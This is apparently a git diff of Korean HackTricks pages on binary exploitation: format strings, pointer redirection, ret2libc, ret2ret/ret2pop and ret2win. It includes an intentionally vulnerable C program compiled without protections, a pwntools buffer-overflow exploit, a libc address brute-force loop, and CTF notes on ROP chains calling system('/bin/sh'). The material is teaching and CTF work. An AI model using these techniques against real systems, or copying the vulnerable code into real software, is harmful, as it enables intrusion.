* **사이버 보안 회사에서 일하시나요?** **회사가 HackTricks에 광고되길 원하시나요?** **또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요?** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출하세요**.
|
||||
|
||||
</details>
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||
* 32비트, relro 없음, 캐너리 없음, nx, 파이 없음, 스택에서 플래그를 누출하기 위해 기본적인 형식 문자열 사용 (실행 흐름 변경 필요 없음)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32비트, relro, 캐너리 없음, nx, 파이 없음, 형식 문자열을 사용하여 `fflush` 주소를 win 함수로 덮어쓰기 (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32비트, relro, 캐너리 없음, nx, 파이 없음, 형식 문자열을 사용하여 `.fini_array` 내부의 main 주소에 주소를 쓰고, `system`을 `strlen`을 가리키도록 하는 GOT 테이블에 주소를 쓰기. 흐름이 main으로 돌아가면 사용자 입력과 함께 `strlen`이 실행되고 `system`을 가리키며 전달된 명령을 실행함.
|
||||
|
|
|
@ -0,0 +1,53 @@
|
|||
# 포인터 리다이렉팅
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 문자열 포인터
|
||||
|
||||
함수 호출이 스택에 위치한 문자열의 주소를 사용할 것이라면, 버퍼 오버플로우를 악용하여 **이 주소를 덮어쓰고** 이진 파일 내의 **다른 문자열의 주소를 넣을 수 있습니다**.
|
||||
|
||||
예를 들어 **`system`** 함수 호출이 **명령을 실행할 문자열의 주소를 사용**할 것이라면, 공격자는 스택에 **다른 문자열의 주소를 놓을 수 있고**, **`export PATH=.:$PATH`**를 넣어 현재 디렉토리에 첫 번째 문자열의 이름으로 스크립트를 만들 수 있습니다. 이는 이진 파일에 의해 실행될 것입니다.
|
||||
|
||||
이에 대한 예제는 다음에서 찾을 수 있습니다:
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
|
||||
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
|
||||
* 32비트, 스택에 있는 플래그 문자열의 주소를 변경하여 `puts`에 의해 출력
|
||||
|
||||
## 함수 포인터
|
||||
|
||||
문자열 포인터와 동일하지만 함수에 적용되며, **호출될 함수의 주소가 스택에 포함**되어 있다면, **이를 변경할 수 있습니다** (예: **`system`**을 호출하기 위해).
|
||||
|
||||
이에 대한 예제는 다음에서 찾을 수 있습니다:
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
|
@ -2,30 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**Ret2Libc**의 본질은 취약한 프로그램의 실행 흐름을 공유 라이브러리(예: **system**, **execve**, **strcpy**) 내의 함수로 리다이렉트하는 것입니다. 이는 공격자가 스택에 제공된 셸코드를 실행하는 대신 페이로드를 조작하여 스택의 반환 주소를 원하는 라이브러리 함수를 가리키도록 수정하고, 호출 규약에 따라 필요한 인수를 올바르게 설정하도록 배열합니다.
|
||||
**Ret2Libc**의 본질은 취약한 프로그램의 실행 흐름을 공유 라이브러리(예: **system**, **execve**, **strcpy**) 내의 함수로 리다이렉트하는 것입니다. 이는 공격자가 스택에 제공된 셸코드를 실행하는 대신 원하는 라이브러리 함수를 가리키도록 스택의 반환 주소를 수정하는 페이로드를 작성하는 것입니다. 동시에 호출 규약에 따라 필요한 인수가 올바르게 설정되도록도 합니다.
|
||||
|
||||
### **예시 단계 (간소화)**
|
||||
|
||||
* 호출할 함수의 주소(예: system) 및 호출할 명령(e.g. /bin/sh)을 가져옵니다.
|
||||
* 첫 번째 인수를 가리키는 ROP 체인을 생성하여 명령 문자열을 가리키고 함수로 실행 흐름을 전달합니다.
|
||||
- 호출할 함수의 주소(예: system) 및 호출할 명령(e.g. /bin/sh)을 가져옵니다.
|
||||
- 첫 번째 인수를 가리키는 ROP 체인을 생성하여 명령 문자열을 가리키고 함수로 실행 흐름을 전달합니다.
|
||||
|
||||
## 주소 찾기
|
||||
|
||||
* 현재 시스템에서 사용하는 `libc`를 가정하면 메모리에 로드될 위치를 다음과 같이 찾을 수 있습니다:
|
||||
- 현재 시스템에서 사용되는 `libc`를 가정하면 메모리에 로드될 위치를 다음과 같이 찾을 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -33,7 +33,7 @@ ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change eve
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
ASLR가 libc의 주소를 변경하는지 확인하려면 다음을 수행할 수 있습니다:
|
||||
ASLR가 libc 주소를 변경하는지 확인하려면 다음을 수행할 수 있습니다:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```
|
||||
|
@ -57,7 +57,7 @@ find "/bin/sh"
|
|||
|
||||
프로세스가 **매번 대화할 때마다 자식 프로세스를 생성**하는 경우 해당 파일을 **읽어보세요** (아마도 루트 권한이 필요할 것입니다).
|
||||
|
||||
여기에서는 프로세스 내부에 **libc가 정확히 어디에 로드되어 있는지**와 **프로세스의 각 자식에 로드될 위치**를 찾을 수 있습니다.
|
||||
여기서 **libc가 프로세스 내 어디에 로드되어 있는지 정확히** 찾을 수 있으며, **프로세스의 각 자식이 로드될 위치**도 알 수 있습니다.
|
||||
|
||||
![](<../../../../.gitbook/assets/image (95).png>)
|
||||
|
||||
|
@ -65,7 +65,7 @@ find "/bin/sh"
|
|||
|
||||
## 알 수 없는 libc
|
||||
|
||||
바이너리가 로드하는 libc를 **알 수 없을 수도 있습니다** (접근할 수 없는 서버에 위치할 수도 있기 때문입니다). 이 경우 취약점을 악용하여 **일부 주소를 노출하고 어떤 libc 라이브러리가 사용 중인지** 찾을 수 있습니다:
|
||||
바이너리가 로드하는 libc를 **알 수 없는** 경우가 있을 수 있습니다 (접근할 수 없는 서버에 위치할 수도 있습니다). 이 경우 취약점을 악용하여 **일부 주소를 노출하고 어떤 libc 라이브러리**가 사용되는지 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-address/" %}
|
||||
[rop-leaking-libc-address](rop-leaking-libc-address/)
|
||||
|
@ -85,7 +85,7 @@ find "/bin/sh"
|
|||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* 원격 서버를 공격하는 경우, 인자로 10을 전달하여 `libc` 함수 `usleep`의 주소를 **브루트 포스**할 수 있습니다. **서버가 응답하는 데 10초 더 걸린다면**, 이 함수의 주소를 찾은 것입니다.
|
||||
* 원격 서버를 공격하는 경우 `libc` 함수 `usleep`의 주소를 **10(예: 10)으로 전달하여 브루트 포스를 시도**할 수 있습니다. **서버가 응답하는 데 10초 더 걸린다면**, 이 함수의 주소를 찾은 것입니다.
|
||||
|
||||
## 원 가젯
|
||||
|
||||
|
@ -125,8 +125,19 @@ c.interactive()
|
|||
|
||||
## Ret2printf
|
||||
|
||||
이는 기본적으로 **Ret2lib를 남용하여 `printf` 형식 문자열 취약점으로 변환**하는 것을 의미하며, `ret2lib`를 사용하여 printf를 호출하여 취약점을 이용할 값을 전달합니다 (의미는 없지만 가능합니다):
|
||||
이는 기본적으로 **`printf` 형식 문자열 취약점으로 변환하기 위해 Ret2lib를 남용**하는 것을 의미하며, `ret2lib`를 사용하여 값을 노출시키기 위해 printf를 호출하는 것을 의미합니다 (의미는 없지만 가능합니다):
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 다른 예제 및 참고 자료
|
||||
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
* Ret2lib, libc의 함수 주소 누출, 원 가젯 사용
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64비트, ASLR 활성화되어 있지만 PIE가 없음, canary의 바이트 0x00까지 오버플로우를 채운 후 puts를 호출하여 누출합니다. canary로부터 ROP 가젯을 만들어 GOT에서 puts의 주소를 누출하고 `system('/bin/sh')`를 호출하는 ROP 가젯을 호출합니다.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64비트, ASLR 활성화, canary 없음, 메인 함수에서의 스택 오버플로우. puts를 호출하여 GOT에서 puts의 주소를 누출하고 원 가젯을 호출합니다.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
|
||||
* 64비트, PIE 없음, canary 없음, relro 없음, nx. write 함수를 사용하여 write (libc)의 주소를 누출하고 원 가젯을 호출합니다.
|
||||
|
|
|
@ -1,48 +1,57 @@
|
|||
# Ret2ret
|
||||
# Ret2ret & Ret2pop
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
## Ret2ret
|
||||
|
||||
이 기술의 주요 목표는 **스택 내에 있는 기존 포인터를 악용하여 ASLR을 우회하는 것**입니다.
|
||||
이 기술의 주요 목표는 **스택 내 기존 포인터를 남용하여 ASLR을 우회하는 것**입니다.
|
||||
|
||||
기본적으로 스택 오버플로우는 보통 문자열에 의해 발생하며, **문자열은 메모리의 끝에 널 바이트로 끝납니다**. 이를 통해 스택 내 이미 존재하는 포인터가 가리키는 위치를 줄일 수 있습니다. 따라서 스택에 `0xbfffffdd`가 포함되어 있다면, 이 오버플로우는 이를 `0xbfffff00`으로 변환할 수 있습니다 (마지막으로 0으로 된 바이트에 주목).
|
||||
기본적으로 스택 오버플로우는 일반적으로 문자열에 의해 발생하며, **문자열은 메모리의 끝에 널 바이트로 끝납니다**. 이를 통해 스택에 이미 존재하는 포인터가 가리키는 위치를 줄일 수 있습니다. 따라서 스택에 `0xbfffffdd`가 포함되어 있다면, 이 오버플로우는 `0xbfffff00`으로 변환될 수 있습니다 (마지막으로 0으로 된 바이트에 주목).
|
||||
|
||||
만약 해당 주소가 스택 내의 셸코드를 가리키고 있다면, **`ret` 명령어에 주소를 추가**하여 이 명령이 도달할 때까지 흐름을 이동시킬 수 있습니다.
|
||||
만약 해당 주소가 스택 내 우리의 쉘코드를 가리키고 있다면, **`ret` 명령어에 주소를 추가**하여 이 명령이 도달할 때까지 흐름을 해당 주소로 이동시킬 수 있습니다.
|
||||
|
||||
따라서 공격은 다음과 같을 것입니다:
|
||||
|
||||
* NOP 슬레드
|
||||
* 셸코드
|
||||
* 스택을 EIP에서 **`ret` 주소로 덮어씌우기**
|
||||
* 스트링에 의해 추가된 0x00이 스택 내의 주소를 수정하여 NOP 슬레드를 가리키도록 만듭니다.
|
||||
- NOP 슬레드
|
||||
- 쉘코드
|
||||
- 스택을 EIP에서 **`ret`에 대한 주소로 덮어씁니다** (RET 슬레드)
|
||||
- 스트링에 의해 추가된 0x00이 스택 내 주소를 수정하여 NOP 슬레드를 가리키게 합니다
|
||||
|
||||
## 참고 자료
|
||||
[**이 링크**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c)를 통해 취약한 이진 파일의 예제와 [**이 링크**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c)를 통해 exploit을 볼 수 있습니다.
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
|
||||
## Ret2pop
|
||||
|
||||
스택에서 **수정하고 싶지 않은 완벽한 포인터를 찾을 수 있다면** (`ret2ret`에서는 최종 최하위 바이트를 `0x00`으로 변경했습니다), **같은 `ret2ret` 공격을 수행할 수 있지만 RET 슬레드의 길이를 1만큼 줄여야** 합니다 (따라서 최종 `0x00`이 완벽한 포인터 바로 이전 데이터를 덮어씁니다), 그리고 **RET 슬레드의 마지막 주소는 `pop <reg>; ret`를 가리켜야** 합니다.\
|
||||
이렇게 하면 **완벽한 포인터 이전의 데이터가 스택에서 제거**되며 (이것이 `0x00`에 의해 영향을 받는 데이터입니다), **최종 `ret`가 어떠한 변경도 없이 스택 내 완벽한 주소를 가리킵니다**.
|
||||
|
||||
[**이 링크**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c)를 통해 취약한 이진 파일의 예제와 [**이 링크**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)를 통해 exploit을 볼 수 있습니다.
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,21 +6,21 @@
|
|||
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**Ret2win** 도전 과제는 **바이너리 공격**을 포함하는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리입니다. 목표는 주어진 바이너리에서 취약점을 악용하여 특정하지 않은 함수를 실행하는 것입니다. 이 함수는 일반적으로 `win`, `ret2win` 등으로 명명되며 실행되면 일반적으로 플래그 또는 성공 메시지를 출력합니다. 도전 과제는 일반적으로 **스택의 반환 주소**를 덮어쓰고 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 예시를 통해 더 자세히 설명하겠습니다:
|
||||
**Ret2win** 챌린지는 **바이너리 익스플로잇**을 포함하는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리입니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정한 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 일반적으로 `win`, `ret2win` 등으로 명명되며 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 도전 과제는 일반적으로 **스택**의 **리턴 어드레스**를 덮어쓰고 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 다음은 예제를 포함한 자세한 설명입니다:
|
||||
|
||||
### C 예시
|
||||
### C 예제
|
||||
|
||||
취약점이 있는 간단한 C 프로그램과 호출할 `win` 함수가 있는 경우를 고려해보겠습니다:
|
||||
취약점이 있는 간단한 C 프로그램과 호출할 `win` 함수를 고려해보세요:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
@ -39,11 +39,11 @@ vulnerable_function();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
이 프로그램을 스택 보호 기능 없이 컴파일하고 **ASLR**를 비활성화하려면 다음 명령을 사용할 수 있습니다:
|
||||
이 프로그램을 스택 보호 기능 없이 컴파일하고 **ASLR** 비활성화 상태로 하려면 다음 명령을 사용할 수 있습니다:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-m32`: 프로그램을 32비트 바이너리로 컴파일합니다 (이는 선택 사항이지만 CTF 도전 과제에서 일반적입니다).
|
||||
* `-m32`: 프로그램을 32비트 바이너리로 컴파일합니다 (이는 선택 사항이지만 CTF 도전에서 일반적입니다).
|
||||
* `-fno-stack-protector`: 스택 오버플로우에 대한 보호 기능을 비활성화합니다.
|
||||
* `-z execstack`: 스택에서 코드 실행을 허용합니다.
|
||||
* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 `win` 함수의 주소가 변경되지 않도록 합니다.
|
||||
|
@ -51,7 +51,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|||
|
||||
### Pwntools를 사용한 Python Exploit
|
||||
|
||||
해킹에는 **pwntools**를 사용할 것이며, 이는 해킹에 강력한 CTF 프레임워크입니다. Exploit 스크립트는 버퍼 오버플로우를 유발하고 반환 주소를 `win` 함수의 주소로 덮어씁니다.
|
||||
해킹에는 **pwntools**를 사용할 것이며, 이는 해킹을 위한 강력한 CTF 프레임워크입니다. Exploit 스크립트는 버퍼 오버플로우를 유발하고 반환 주소를 `win` 함수의 주소로 덮어씁니다.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -71,34 +71,29 @@ payload = b'A' * 68 + win_addr
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
`win` 함수의 주소를 찾으려면 **gdb**, **objdump** 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어 `objdump`를 사용하여 다음과 같이 할 수 있습니다:
|
||||
`win` 함수의 주소를 찾으려면 **gdb**, **objdump**, 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어 `objdump`를 사용하여 다음과 같이 할 수 있습니다:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
이 명령은 `win` 함수의 어셈블리를 보여주며 시작 주소를 포함합니다.
|
||||
이 명령은 `win` 함수의 어셈블리 및 시작 주소를 보여줍니다.
|
||||
|
||||
